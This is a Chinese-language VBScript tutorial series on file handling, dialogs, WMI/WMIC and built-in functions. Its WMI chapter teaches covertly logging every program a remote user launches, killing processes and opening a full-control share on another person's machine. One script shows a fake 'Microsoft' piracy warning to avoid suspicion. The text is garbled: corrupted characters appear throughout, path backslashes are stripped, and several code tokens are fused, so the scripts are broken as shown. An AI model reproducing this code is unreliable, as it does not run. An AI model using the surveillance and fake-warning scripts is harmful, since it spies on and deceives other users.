Vbs腳本常用的編輯器當然是notapad,不過這個編輯器的功能當然實在是太弱了一點,其實有
很多的專用的腳本編輯器可以大大方便vbs 腳本的編寫。我常用的有兩種:
1、VBSEDit 漢化版
=================================
Vbs 腳本編程簡明教程之十一——FSO 中文件的基本操作
一、文件屬性:
在windows 中,文件的屬性一般用數(shù)字來表示:
0 代表normal,即普通文件未設置任何屬性。1 代表只讀文件。
2 代表隱藏文件。4 代表系統(tǒng)文件。16 代表文件夾或目錄。
32 代表存檔文件。1024 代表鏈接或快捷方式。例如:
set fs=wscript.createobject(“scripting.filesystemobject”)
set f=fs.getfile(“d:index.txt”)
msgbox f.Attributes ‘a(chǎn)ttributes 函數(shù)的作用是顯示文件屬性
需要說明的是:msgbox 顯示的結(jié)果往往不是上面說明的數(shù)字,而是有關(guān)屬性代表數(shù)字的和。
二、創(chuàng)建文件:object.createtextfile 方法,注意創(chuàng)建前一般需要檢查文件是否存在。
例如:set fso=wscript.createobject(“scripting.filesystemobject”)
if fso.fileexists(“c:kk.txt”) then
msgbox “文件已存在”
else
set f=fso.createtextfile(“c:kk.txt”)
end if
如需要強制覆蓋已存在的文件,則在文件名后加true 參數(shù)。
三、復制、移動、刪除文件:使用copyfile 方法、movefile 方法、deletefile 方法。例如:
set fso=wscript.createobject(“scripting.filesystemobject”)
fso.copyfile “c:kk.txt”,”d:1kk.txt”,true //如上文說述,true代表強制覆蓋
fso.movefile “c:kk.txt”, “d:” //移動文件
fso.deletefile “c:kk.txt” //刪除文件
四、文件的讀寫:
1、打開文件:使用opentextfile 方法
如:set ts=fso.opentextfile(“c:kk.txt”,1,true)
說明:第二個參數(shù)為訪問模式1 為只讀、2 寫入、8 為追加
第三個參數(shù)指定如文件不存在則創(chuàng)建。
2、讀取文件:read(x)讀x 個字符;readline 讀一行;readall 全部讀取
如:set ffile=fso.opentextfile(“c:kk.txt”,1,true)
value=ffile.read(20)
line=ffile.readline
contents=ffile.readall
3、常見的指針變量:
atendofstream 屬性:當處于文件結(jié)尾的時候這個屬性返回true。一般用循環(huán)檢測是否到達文件
末尾。例如:
do whileffile.atendofstream<>true
ffile.read(10)
loop
atendofline 屬性:如果已經(jīng)到了行末尾,這個屬性返回true。
Column 屬性(當前字符位置的列號)和line 屬性(文件當前行號):在打開一個文件后,行和列指
針都被設置為1。
4、在文件中跳行:skip(x) 跳過x 個字符;skipline 跳過一行
5、在文件中寫入字符:可以用2-寫入和8-追加的方式來寫入
其方法有:write(x)寫入x 字符串;writeline(x)寫入x 代表的一行
writeblanklines(n) 寫入n 個空行
注意:最后一定要使用close 方法關(guān)閉文件。讀文件后一定要關(guān)閉,才能以寫的方式打開。
======================================
Vbs 腳本編程簡明教程之十二—使用系統(tǒng)對話框
在VBS腳本設計中,如果能使用windows 提供的系統(tǒng)對話框,可以簡化腳本的使用難度,使腳
本人性化許多,很少有人使用,但VBS 并非不能實現(xiàn)這樣的功能,方法當然還是利用COM 對
象。
1、SAFRCFileDlg.FileSave 對象:屬性有: FileName — 指定默認文件名; FileType —指定文
件擴展名;OpenFileSaveDlg — 顯示文件保存框體方法。
2、SAFRCFileDlg.FileOpen 對象:FileName — 默認文件名屬性;OpenFileOpenDlg —顯示打
開文件框體方法。
3、UserAccounts.CommonDialog 對象:Filter — 擴展名屬性("vbs File|*.vbs|AllFiles|*.*");
FilterIndex — 指定
InitialDir — 指定默認的文件夾
FileName — 指定的文件名
Flags — 對話框的類型
Showopen 方法:
很簡單,ok,讓我們來舉兩個簡單的例子:
例一:保存文件
Set objDialog = CreateObject("SAFRCFileDlg.FileSave")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objDialog.FileName = "test"
objDialog.FileType = ".txt"
intReturn = objDialog.OpenFileSaveDlg
If intReturn Then
objFSO.CreateTextFile(objDialog.FileName &objdialog.filetype)
Else
Wscript.Quit
End If
注意:1、SAFRCFileDlg.FileSave 對象僅僅是提供了一個方便用戶選擇的界面,本身并沒有保
存文件的功能,保存文件還需要使用FSO 對象來完成。2、用FileType 屬性來指定默認的文件
類型。3、在調(diào)用OpenFileSaveDlg 方法時,最好把返回值保存到一變量中,用它可以判斷用戶
按下的是確定還是取消。
例二:.打開文件
set objFile = CreateObject("SAFRCFileDlg.FileOpen")
intRet = objFile.OpenFileOpenDlg
if intret then
msgbox “文件打開成功!文件名為:” & objFile.filename
else
wscript.quit
end if
例三:比較復雜的打開文件對話框
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "vbs File|*.vbs"
objDialog.InitialDir = "c:"
tfile=objDialog.ShowOpen
if tfile then
strLoadFile = objDialog.FileName
msgbox strLoadFile
else
wscript.quit
end if
說明:在腳本中加入objDialog.Flags = &H020 看看會出現(xiàn)什么結(jié)果。
====================================
Vbs 腳本編程簡明教程之十三—WMI 基礎之一
WMI 即Windows管理規(guī)范,是用戶管理本地和遠程計算機的一種模型。通過它可以訪問、配
置、管理和監(jiān)視幾乎所有的Windows 資源。WMI 的語法十分簡單,基本上常見的命名空間、
對象等用幾乎一模一樣。它對應的是Windows 里的WMI 服務(winmgmt)。
一、WMI 的起源
幾年前,幾家資深的計算機公司由于系統(tǒng)管理領(lǐng)域缺少標準,委托DMTF 啟動了CIM(通用信
息模型)項目,理想的CIM 是一種不受限制于任何特定實現(xiàn)環(huán)境的管理工具。WMI 是CIM 的
微軟實現(xiàn),它有很多類是從CIM 中派生出來的。
二、WMI 的命名空間
那么命名空間是做什么作用的呢?我簡單這樣說,在同一段代碼中,如果有兩個變量或函數(shù)的
名字完全相同,就會出現(xiàn)沖突。命名空間就是為解決變量、函數(shù)的命名沖突而服務的。解決的
辦法就是將你的變量定義在一個不同名字的命名空間中。就好像財政局有個張三,公安局也有
個張三,但我們清楚,就是因為他們分屬不同的單位。有些地方可能不太準確,但大致意思就
是這樣了。
WMI 的命名空間創(chuàng)建了一個層次結(jié)構(gòu),有點類似于我們的目錄文件結(jié)構(gòu)。
1、root-作為所有其他名字的占位符;
2、rootdefault-與注冊表操作有關(guān)的類;
3、rootsecurity-與系統(tǒng)安全有關(guān)的類;
4、rootcimv2-從CIM 派生的類,代表我們最常用的工作環(huán)境。
三、WMI 的對象路徑
WMI 的對象路徑用來在CIM 庫中定位類和它的事例,對象路徑用兩個反斜杠\開頭,第一個元
素是目標計算機的名字,第二個元素是相應的WMI 命名空間,第三個元素是相應的類名,并
用: 將它與命名空間分隔開來。例如:\..rootcimv2:win32_service
其中那個. 代表是本地系統(tǒng)。
四、WMI 的查詢語言——WQL 僅僅是ANSI SQL 的一個子集,只能用于數(shù)據(jù)的提取。
數(shù)據(jù)、事件查詢的基本語法為:
Select pro1 , pro2 , pro3 from myclass(myclassevent)
例如:Select name , path from Win32_share 說明:列出所有共享的名稱和路徑
也可以使用通配符* ,例如:Select * from Win32_share
關(guān)鍵字Where 用于限定查詢的范圍。
例如:Select * from Win32_share where name=”Admin”
五、WMI 腳本中使用的三個步驟
步驟1:連接到WMI 服務
在任何WMI 腳本中,第一個步驟都是建立一個到目標計算機上的Windows 管理服務的連接。
方法是調(diào)用VBScript 的Getobject 函數(shù)并將WMI 腳本庫的名字對象的名稱(即“winmgmts:”,
后跟目標計算機的名稱)傳遞到Getobject,并返回一個對象的引用,此時,您就可以調(diào)用其提
供的方法如:InstancesOf,正如方法名所示,InstancesOf 返回由資源的類名標識的托管資源的
所有實例。
步驟2:檢索WMI 托管資源的實例
一般采用WQL 來實現(xiàn)。
步驟3:顯示W(wǎng)MI 托管資源的屬性
最后一個步驟是枚舉檢索得到集合的內(nèi)容。一般采用
For each enum in myclass
……
Next 結(jié)構(gòu)來實現(xiàn)。
=========================================
Vbs腳本編程簡明教程補充讀物-初窺WMI
今天,我沼澤將給大家介紹個朋友,它就是MicrosoftWindows Management Instrumentation
(WMI)。中文名字叫Windows 管理規(guī)范。從Windows 2000 開始,WMI(Windows 管理規(guī)范)
就內(nèi)置于操作系統(tǒng)中,并且成為了Windows 系統(tǒng)管理的重要組成部分。所以大家很容易就能見
到它的,因為我們至少也應該是個Windows 2000 的使用者了。下面我將詳細介紹它的每個細節(jié),
讓你從不認識它到喜歡上它。
WMI 能做什么?
WMI 不僅可以獲取想要的計算機數(shù)據(jù),而且還可以用于遠程控制。遠程控制計算機可是大家都
喜歡的東西。很多遠程監(jiān)視控制類軟件通常的做法是:在遠程計算機上運行服務端后臺程序,
在本地計算機上運行一個客戶器端控制程序,通過這二個程序的勾結(jié)來實現(xiàn)對計算機的遠程控
制。這種作法的缺點是十分明顯的,當服務端程序關(guān)了,這種遠程監(jiān)控就無法實現(xiàn)了,因為沒
有內(nèi)線了。而WMI 實現(xiàn)的遠程監(jiān)視和控制完全不需要另外裝什么服務端的東西,系統(tǒng)默認就
將WMI 服務給開了。具體說來,WMI 的本領(lǐng)如下:
1.獲取本地和遠程計算機的硬件軟件信息。
2.監(jiān)視本地和遠程計算機的軟件和服務等運行狀況。
3.控制本地和遠程計算機的軟件和服務運行。
4.高級應用。
如何訪問WMI?
當我們知道WMI 的某些本領(lǐng)后,我們已經(jīng)很想知道如何認識他并利用他了。利用WMI 有許多
途徑,簡單說來有三種了:
1.通過微軟給我們提供的各種工具來實現(xiàn)普通查詢和操作。主要包括命令提示符下面的WMIC,
還有就是微軟給我們提供的WMI TOOL,大家可以到微軟的網(wǎng)站上免費下載,當然我也可以給
大家免費提供。
2.通過自己編寫腳本來實現(xiàn)更靈活操作。要想真正靈活實用,對WSH 腳本的熟悉是必須的,
當然如果你不熟悉也沒有關(guān)系,稍后我會給大家詳細解釋的。
3. 通過編寫我們自己的程序來訪問并操作它。什么語言都行。如果用.NET 類程序要簡單些了,
如果用VC 等要復雜些了,起碼我是這么認為的。
4.還有個訪問它的方法,就是到它的一個巢穴。在C:WINDOWSsystem32wbem 目錄中的東
西都和它有密切聯(lián)系,有日志和各種工具,在里面你可以找到很多答案的。不過這些東西一般
都不適合我們新手玩了,感覺有點嚇人。
我們今天的任務?
今天我們的任務有五個:
任務一:利用WMIC 列出遠程計算機上的所有進程。
任務二:利用WMIC 關(guān)閉本地進程。
任務三:通過WMIC 把遠程主機的進程信息保存在一個網(wǎng)頁中
任務四:利用腳本實時監(jiān)視對方進程
任務五:利用腳本給對方開放共享
查看和監(jiān)視進程,還要把進程給殺掉,最后還要給對方開個共享,我們這位朋友快把壞事做盡
了。明白了我們的任務,我們就可以上路了。這次我們將主要借助WMIC 和腳本來實現(xiàn)我們的
任務,所以我們將主要分為兩大部分來講解。在五個任務的實戰(zhàn)中我們將更加深入地理解它,
沒有基礎沒有關(guān)系,我將盡力去解釋所有的所謂的基礎,讓大家能很輕松地和這位朋友交流。
第一部分:利用WMIC 來認識WMI
WMIC 是Windows Management Instrumentation Commandline 的簡稱,WMIC擴展WMI,提供
了從命令行接口和批命令腳本執(zhí)行系統(tǒng)管理的支持。為WMI 名稱空間提供了一個強大的、友
好的命令行接口。有了WMIC,WMI 就顯的平易近人了。
執(zhí)行“WMIC”命令將啟動WMIC 命令行環(huán)境。第一次執(zhí)行WMIC 命令時,Windows 首先要安裝
WMIC,然后顯示出WMIC 的命令行提示符。在WMIC 命令行提示符上,命令將以交互的方式
執(zhí)行。如果你不知道該如何和它交互,請敲個“/?”,細細看完全部的說明,你就知道了。WMIC
也可以按照非交互的模式運行。如果要執(zhí)行某個單步的任務,或者運行批命令中的一系列WMIC
命令,非交互模式就很有用。要使用非交互模式,只要在同一個命令行上啟動WMIC 并輸入要
執(zhí)行的命令就可以了。
1.任務一:利用WMIC 列出遠程計算機上的所有進程
這是一個實現(xiàn)起來很簡單的任務,和你用一個DOS 命令一樣簡單,因為我們要循序漸進嘛,所
以安排了這么一個熱身任務。在命令提示符下敲入下面的命令,我們將看到。
WMIC /node:192.168.1.2 /user:net process
解說:
1)上面命令中的NODE 和USER 是全局開關(guān)。如果你不愿意另外輸一次密碼,你也可以用
PASSWORD 開關(guān),后面寫上密碼就可以了(WMIC /node:192.168.1.2 /user:net/password:password
process)。千萬要注意,這里的用戶名和密碼都必須是管理員級別的,其它的無效。WMIC 提供
了大量的全局開關(guān)、別名、動詞、命令和豐富的命令行幫助增強用戶接口。全局開關(guān)是用來配
置整個WMIC 會話的選項。
2)Process 是個別名,執(zhí)行了一個Win32_process 類的WQL 查詢,至于說是WMI 的類是什么
東西,感興趣的就自己找資料多多了解,如果你很懶的話,就等我有時間給你開課講解。別名
是用戶和WMI 名稱空間一個簡化語法的中間層。當你指定一個別名時,動詞(Verb)表示要執(zhí)
行的動作。
3)如果你愿意,你可以在該后面加上個動詞等,比如LIST FULL 等( 如:WMIC /node:192.168.1.2
/user:net /password:password process),這樣你就看得更清楚了。
小提示:安裝了WMIC 的機器可以連接到任何一臺安裝了WMI 的機器,被連接的機器不需要
安裝WMIC。
2.任務二:利用WMIC 關(guān)閉本地進程
執(zhí)行下面的命令將關(guān)閉正在運行的QQ。我比較膽小,所以不敢關(guān)別人的QQ,只能拿我的QQ
試驗了,如果你的智商還夠用的話,膽子比較大的話,你很快就會去關(guān)別人的了。
WMIC
process where name=”qq.exe” call terminate
解說:
1)這次我們是用交互式的方法來執(zhí)行任務,具體界面我就不多說了,圖上畫的比我說的好多了。
2)Call 也是個動詞,這個動詞可是厲害了,控制類的沒有不用它的,它就是可以調(diào)用各種類的
各種方法的大將。這里我們調(diào)用了terminate 方法。從字面上你就可以看出是惡狠狠的。
3)Where 能夠讓你查詢和篩選。在超級多的實例中找到你想要的。實例就是指每個類的具體實
現(xiàn)了。前面的例子中看到的各個進程都分別算是WIN32_PROCESS 中的一個實例。
3.任務三:通過WMIC 把遠程主機的進程信息保存在一個網(wǎng)頁中
這個任務和任務一中的大致相同,是任務一的加強。在任務一中信息以文本的形式顯示出來了。
其實除了文本形式的輸出之外,WMIC 還能夠以其他形式返回命令執(zhí)行結(jié)果,例如XML、HTML
或者CSV(逗號分隔的文本文件),如圖3 所示。我們可以敲入下面的命令:
wmic /output:C:1.html /node:192.168.1.2 /user:net process listfull /format:hform.xsl
輸入密碼:******
解釋:
1)全局開關(guān)OUTPUT 指明將這些信息保存在什么地方。
2)全局開關(guān)FORMAT 指明了用什么樣的格式,至于說有那些格式可以用,你可以參看
C:WINDOWSsystem32wbem 目錄中的*.xsl 文件,你甚至不用管它們從哪里來的,用就是了。
挨著看看,一定可以找到你喜歡的。
第二部分:利用腳本來認識WMI
命令提示符的工具確實好用,但是卻顯示不出我們是高手,高手都是能利用程序來實現(xiàn)目的的。
下面我們就開始用腳本來實現(xiàn)我們的任務,功能將更加強大,操作將更加靈活。
無論腳本還是真正意義上的程序,要檢索WMI 托管資源信息進而查詢并利用WMI,都需要遵
循以下三個步驟的。
1.連接到WMI 服務。建立一個到目標計算機上的Windows 管理服務的連接。
2.檢索WMI 托管資源的實例。主要取決于要執(zhí)行的任務。
3.顯示W(wǎng)MI 某實例屬性和調(diào)用其方法。
1.任務四:利用腳本實時監(jiān)視對方進程
在任務一和任務三中我們都是在查看對方的進程,出來的結(jié)果對我們意義不是很大,在這個任
務中我們要從現(xiàn)在開始每當他開一個任務我們就察覺到,并把它記錄下來。我們要在他開進程
的那一秒開始報告并記錄,我們要清楚他所開的程序所在的位置,我們要比他更清楚地知道這
些信息。
現(xiàn)在我們就按照前面提到的三個步驟來實現(xiàn)任務。
首先,我們連接到對方的WMI。在這里我們首先調(diào)用VBScript 的中的Createobject()來得到
一個對象,然后利用這個特殊的對象的方法來連接到遠程的計算機上。這個特殊的對象就是
wbemscripting.swbemlocator。
set olct=createobject("wbemscripting.swbemlocator")
setwbemServices=olct.connectserver(strComputer,"rootcimv2",strUser,strPwd)
注意其中的strComputer 就是你所要連接的計算機的名稱或者IP 地址,strUser,strPwd 當然就
是用戶名和密碼了,我們說過這個用戶必須是具有管理員權(quán)限的才可以。rootcimv2 是WMI 的
命名空間,關(guān)于WMI 的命名空間,大家可以到“計算機管理WMI 控件”中看到,這里面的學問
就大了,得慢慢琢磨,為了我們的任務快速實現(xiàn),我就不多解釋了。用這種方法連接到WMI,
返回一個對SWbemServices 對象的引用,一旦有一個對SWbemServices 對象的引用。我們就可
以進行第二個步驟了。
在第二個步驟中,我們將得到WMI 托管資源的實例,我們利用WbemServices 中的一個方法
ExecNotificationQuery 可以查詢我們所要的類,進而可以得到該類中實例。
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent "_
& " within 1 where TargetInstance isa'Win32_Process'")
注意這里有個類似于SQL 語言的查詢語言,這里叫做WQL 語言,懂SQL 的一看就明白了,不
懂的就在網(wǎng)上找找它的資料,滿天都是。得到的colMonitoredProcesses 是所查詢的類的實例的
集合。有了這些我們的第三個步驟就可以開始了。
在第三個步驟中,我們將顯示出得到的實例中的屬性。剛才我們得到的是實例的集合,在這里
我們通過colMonitoredProcesses.NextEvent 來獲取每一個具體的實例,得到每一個具體的實例后,
我們就可以顯示出他們的屬性,也就是我們想看的東西了。這里我們顯示了CommandLine 的屬
性值。
到現(xiàn)在你是否有些迷惑了,因為你還不知道到底WMI 里面有那些類,具體類又有哪些屬性,
呵呵,沒有關(guān)系的,用一些工具可以很輕松的得到這些信息。比如系統(tǒng)自帶的wbemtest,在運
行中敲入這個程序名,你就可以看到這些了,它也遵循連接、查詢、枚舉這三個步驟。自己慢
慢玩吧,很快你就會發(fā)現(xiàn)WMI 太大了,單是命名空間就有10 多個,然后單是我們常用的空間
rootCIMV2 里面就有近1000 個類,每個類里面又有好多的屬性,有些類還有好多方法。哈哈,
頭暈了吧?沒關(guān)系,其實你只需要知道其中的一些就好了。
看到這些估計你的頭已經(jīng)很大了,但是恭喜你,我們的這個任務已經(jīng)完成了,是的,就是這么
簡單,下面我將完整代碼奉獻出來。
Set colArgs = WScript.Arguments
If WScript.arguments.count < 3 then
WScript.Echo "USAGE:" & vbCrLf & "Monitor Computer User Password files"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strFile = wscript.arguments(3)
set olct=createobject("wbemscripting.swbemlocator")
setwbemServices=olct.connectserver(strComputer,"rootcimv2",strUser,strPwd)
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent "_
& " within 1 where TargetInstance isa'Win32_Process'")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
Wscript.Echo now & " " &objLatestProcess.TargetInstance.CommandLine
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objNewFile = objFS.OpenTextFile(strFile,8,true)
objNewFile.WriteLine Now() & " " &objLatestProcess.TargetInstance.CommandLine
objNewFile.Close
Loop
到這個程序的核心了吧?相信你已經(jīng)懂了其中的很多,剩余的部分代碼我稍后解釋。我們先來
感性認識一下,先看它該怎么用吧!把上面的代碼拷貝到記事本中,然后保存為monitor.vbs 的
文件,然后在命令提示符下輸入:
CSCRIPT monitor.vbs
回車,你就會看到幫助,下面舉例說明這個腳本的具體用法:
CSCRIPT monitor.vbs 192.168.1.2 user password C:1.txt
在命令提示符下敲入上面的命令就OK 了,每當對方開一個程序的時候,你就可以看到時間,
程序路徑和程序名。如果你沒有時間去看這些信息,你還可以等有時間的時候到C:1.txt 看到這
些信息。
小知識:
每次使用腳本,都必須敲入CSCRIPT 和腳本的后綴名,很麻煩。這是因為系統(tǒng)默認的執(zhí)行引擎
是WSCRIPT,可以將它改成CSCRIPT。另外一個讓人不爽的是腳本執(zhí)行后總要顯示微軟的說
明,好像腳本不是我們寫的一樣。不過你可以通過在命令提示符下敲入下面的命令來解決這個
問題:
cscript //nologo //h:cscript //s
這樣你以后再運行這些腳本的時候就不用在敲入CSCRIPT 了,也不用在寫入.vbs 的后綴名了,
就上面的例子來說,你可以這樣用:
monitor 192.168.1.2 user password C:1.txt
解釋:
1 )前面的那幾行,大概就是為了顯示幫助和處理我們在后面輸入的參數(shù)。應用到了
WScript.Arguments 這個對象,利用它我們可以來獲取并處理腳本的參數(shù)。
2)那個死循環(huán)是為了讓我們一直監(jiān)視他(她),每當他開一個程序,我們就得到一個新的實例,
我們就可以知道他更多的信息,哈哈,夠狠吧。這樣你也就知道了,當我們這個腳本運行后,
只有通過我們?nèi)藶橹兄共拍苤袛啾O(jiān)視,人為中止的方法大家可以用CTRL+C 來完成,也可以用
各種野蠻的方法來中止。
3)在代碼中出現(xiàn)的另外一個核心對象就是FileSystemObject,應該是大家的老朋友了吧,我這
里就不再做解釋了,我們在這里應用它主要是為了將結(jié)果同時保存到一個文件中,我們利用它
來創(chuàng)建或打開一個文件,將信息追加進去。
4)至于那個NOW,雖然體積很小,但是卻正是它給我們提供了時間這個重要的信息。
5)如果你想要監(jiān)視的是自己的計算機而不是遠程的計算機(據(jù)我所知,這個應用還是很廣的)。
那么請將計算機名的參數(shù)寫為一個小點,用戶名和密碼留為空。如下所示:
monitor . "" "" C:1.txt
2.任務五:利用腳本給對方開放共享
有了任務四的基礎,這次我們就先看代碼吧:
Set colArgs = WScript.Arguments
If WScript.arguments.count < 5 then
WScript.Echo "USAGE:" & vbCrLf & "Rshare Computer User Password SharePath ShareName"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strPath = wscript.arguments(3)
strShareName = wscript.arguments(4)
intMaximumAllowed = 1
strDescription = "Temporary share"
Const SHARED_FOLDER = 0
set olct=createobject("wbemscripting.swbemlocator")
setwbemServices=olct.connectserver(strComputer,"rootcimv2",strUser,strPwd)
Set objSWbemObject = wbemServices.Get("Win32_Share")
intReturnValue = objSWbemObject.Create(strPath, _
strShareName, _
SHARED_FOLDER, _
intMaximumAllowed, _
strDescription)
if(intReturnValue = 0) Then
WScript.Echo "The share have been created successfully"
End If
解說:
1)我們可以看出來前面的那幾行是為顯示幫助和處理輸入?yún)?shù)而存在的。
2)緊接著設置了幾個變量,為以后做參數(shù)用的。這里我們可以先不理會它。
3)連接到主機的WMI,然后就是查詢。前面已經(jīng)說的很詳細了。
4)這次得到實例集后,我們用了它的一個方法,也就是這個方法讓共享成為了可能,聯(lián)系到第
二部分的內(nèi)容,我們不難知道第一個參數(shù)表示要共享的路徑和文件名,第二個參數(shù)表示共享名,
第三個參數(shù)為0 就可以了,第四個參數(shù)是指可以連接的人數(shù),第五個參數(shù)是共享描述了,而我
們只關(guān)心前面的兩個參數(shù)。如果手頭有MSDN 那就好辦了,到MSDN 中可以查到該方法的更
詳細的內(nèi)容。
5)這次我們根據(jù)第四步的返回值來得到共享是否成功,并給出提示。不同的返回值代表不同的
意義。這個信息在MSDN 中可以很清楚地查到。比如0 代表成功返回,2 代表拒絕訪問,9 代
表用戶名錯誤,25 代表主機名沒有找到等等。
6)這次我們要注意的是,用這個腳本來實現(xiàn)遠程文件共享,要求遠程存在這個文件,否則無法
共享。當然你也可以利用教本創(chuàng)建自己的文件夾,很容易的,自己創(chuàng)建吧。
7)如上腳本創(chuàng)建后的共享是完全共享。就是可以刪除修改文件的。
8)用法舉例:share netp net swswsw C:dodo marsh
好了,到現(xiàn)在為止,大家應該對這位朋友有些了解了,我的介紹任務也就告一段落了,如果大
家想進一步認識它,那就主要靠大家的主動性了。這次我們主要通過WMIC 和腳本來認識它,
下次我將帶領(lǐng)大家通過真正的程序代碼來認識它,讓它也有個象Windows 一樣漂亮的臉蛋。今
天我所提到的估計只能算是WMI 的萬分之一,都算不上是冰山一角。剩余的要靠自己來發(fā)揮
了。如果你肯利用你的所學,那么奇跡就會產(chǎn)生。
=================================
Vbs 腳本編程簡明教程之十三—WMI基礎之二—阻止客人運行你不想運行的程序
很多人都有這樣的經(jīng)驗,剛剛裝好的系統(tǒng),讓人運行了一些你不想他運行的程序,比如說QQ,
又是聊天,又是下載表情,不過一會,流氓插件、病毒、木馬已經(jīng)盤踞了你的計算機,常常是
忍痛將這個程序卸載,可是不知情的人很自覺的下載安裝,使整個系統(tǒng)無法正常運行。
其實用vbs 和wmi 結(jié)合起來,使你的計算機上有相應的程序安裝,別人又無法運行起來太容易
了,現(xiàn)在給出代碼:
On Error Resume Next '忽略所有的錯誤
Dim bag,pipe,honker,good
Do
good="." '定義為本地計算機
set bag=getobject("winmgmts:"& good&"rootcimv2") 'l 連接到cimv2 命名空間
set pipe=bag.execquery("select * from win32_process wherename='qq.exe' or name='qqgame.exe' or
name='winmine.exe'") '看,這是我的計算機上不允許運行的程序,qq、qqgame、winmine
(掃雷)如果你還有其他的程序不允許運行,很簡單,在其中添加or name='你不允許運行的程
序名'
for each i in pipe
i.terminate()
msgbox "發(fā)現(xiàn)盜版系統(tǒng),現(xiàn)已進行功能限制" & vbcrlf &"請使用正版軟件!",,"微軟提示" '
此行其實可有可無,有這行只是為了免去懷疑
next
wscript.sleep 60000 '每1 分鐘檢測一次
loop
那么如果我自己想運行這些程序該怎么辦呢?
很簡單, Ctrl+Alt+Del 三個鍵齊按,打開windows 任務管理器,在進程中結(jié)束Wscript.exe 和
wmiprvse.exe 進程的運行就可以了。
======================================
Vbs 腳本編程簡明教程之十四—使用dictionary 對象
VBS中存在一個特殊的對象-dictionnary,是一個集合對象。一般情況霞,我把這個特殊的集
合想象為數(shù)組,可以使用其中內(nèi)建的函數(shù)完成存儲和操縱數(shù)據(jù)等基本任務,無須擔心數(shù)據(jù)是在
哪些行列,而是使用唯一的鍵進行訪問或者是一個只能運行在內(nèi)存中的數(shù)據(jù)庫,并只有兩個字
段分別是:key 和item,在使用中,字段key 是索引字段。
set sdict=CreateObject("Scripting.Dictionary")
sdict.add "a","apple"
sdict.add "b","banana"
sdict.add "c","copy"
for each key in sdict.keys
msgbox "鍵名" & key & "是"& " = " & sdict (key)
next
sdict.removeall
這個腳本很簡單,就是定義了一個dictionary 對象的實例sdict,并加入了三條數(shù)據(jù),然后對每
一條數(shù)據(jù)進行了枚舉,最后,將對象的實例清空。
Dictionary 對象的成員概要
屬性和說明
CompareMode 設定或返回鍵的字符串比較模式
Count 只讀。返回Dictionary 里的鍵/條目對的數(shù)量
Item(key) 設定或返回指定的鍵的條目值
Key(key) 設定鍵值
方法和說明
Add(key,item) 增加鍵/條目對到Dictionary
Exists(key) 如果指定的鍵存在,返回True,否則返回False
Items() 返回一個包含Dictionary 對象中所有條目的數(shù)組
Keys() 返回一個包含Dictionary 對象中所有鍵的數(shù)組
Remove(key) 刪除一個指定的鍵/條目對
RemoveAll() 刪除全部鍵/條目對
====================================
Vbs 腳本編程簡明教程之十五—VBS 內(nèi)置函數(shù)之一
Abs函數(shù):返回數(shù)的絕對值。
Array 函數(shù):返回含有數(shù)組的變體。
Asc 函數(shù):返回字符串首字母的ANSI 字符碼。
Atn 函數(shù):返回數(shù)值的反正切。
CBool 函數(shù):返回已被轉(zhuǎn)換為Boole an 子類型的變體的表達式。
CByte 函數(shù):返回已被轉(zhuǎn)換為字節(jié)子類型的變體的表達式。
CCur 函數(shù):返回已被轉(zhuǎn)換為貨幣子類型的變體的表達式。
CDate 函數(shù):返回已被轉(zhuǎn)換為日期子類型的變體的表達式。
CDbl 函數(shù):返回已被轉(zhuǎn)換為雙精度子類型的變體的表達式。
Chr 函數(shù):返回與指定的ANSI 字符碼相關(guān)的字符。
CInt 函數(shù):返回已被轉(zhuǎn)換為整形子類型的變體的表達式。
CLng 函數(shù);返回已被轉(zhuǎn)換為Long 子類型的變體的表達式。
Cos 函數(shù):返回角度的余弦。
CreateObject 函數(shù):創(chuàng)建并返回對“自動”對象的引用。
CSng 函數(shù):返回已被轉(zhuǎn)換為單精度子類型的變體的表達式。
CStr 函數(shù):返回已被轉(zhuǎn)換為字符串子類型的變體的表達式。
Date 函數(shù):返回當前系統(tǒng)日期。
DateAdd 函數(shù):返回的日期已經(jīng)加上了指定的時間間隔。
DateDiff 函數(shù):返回兩個日期之間的間隔。
DatePart 函數(shù):返回給定日期的指定部分。
DateSerial 函數(shù):返回指定年月日的日期子類型的變體。
DateValue 函數(shù):返回日期子類型的變體。
Day 函數(shù):返回日期,取值范圍為1 至31。
Eval 函數(shù):計算表達式并返回結(jié)果。
Exp 函數(shù):返回e (自然對數(shù)的底) 的多少次方。
Filter 函數(shù):根據(jù)指定的篩選條件,返回含有字符串數(shù)組子集的、下限為0 的數(shù)組。
Fix 函數(shù):返回數(shù)的整數(shù)部分。
FormatCurrency 函數(shù):返回的表達式為貨幣值格式,其貨幣符號采用系統(tǒng)控制面板中定義的。
FormatDateTime 函數(shù):返回的表達式為日期和時間格式。
FormatNumber 函數(shù):返回的表達式為數(shù)字格式。
FormatPercent 函數(shù):返回的表達式為百分數(shù)(乘以100)格式,后面有% 符號。
GetObject 函數(shù):返回從文件對“自動”對象的引用。
GetRef 函數(shù):返回對能夠綁定到一事件的過程的引用。
Hex 函數(shù):返回一字符串,代表一個數(shù)的十六進制值。
Hour 函數(shù):返回表示鐘點的數(shù)字,取值范圍為0 至23。
InputBox 函數(shù):在對話框中顯式一提示,等待用戶輸入文本或單擊按鈕,并返回文本框的內(nèi)容。
InStr 函數(shù):返回一個字符串在另一個字符串中首次出現(xiàn)的位置。
InStrRev 函數(shù);返回一個字符串在另一個字符串中出現(xiàn)的位置,但是從字符串的尾部算起。
==================================
Vbs 腳本編程簡明教程之十五—VBS 內(nèi)置函數(shù)之二
Int函數(shù):返回數(shù)的整數(shù)部分。
IsArray 函數(shù):返回Boole an 值,反映變量是否為數(shù)組。
IsDate 函數(shù):返回Boole an 值,反映表達式能否轉(zhuǎn)換為日期。
IsEmpty 函數(shù):返回Boole an 值,反映變量是否已被初始化。
IsNull 函數(shù):返回Boole an 值,反映表達式是否含有無效數(shù)據(jù)(Null)。
IsNumeric 函數(shù):返回Boole an 值,反映表達式能否轉(zhuǎn)換為數(shù)字。
IsObject 函數(shù):返回Boole an 值,反映表達式是否引用了有效的“自動”對象。
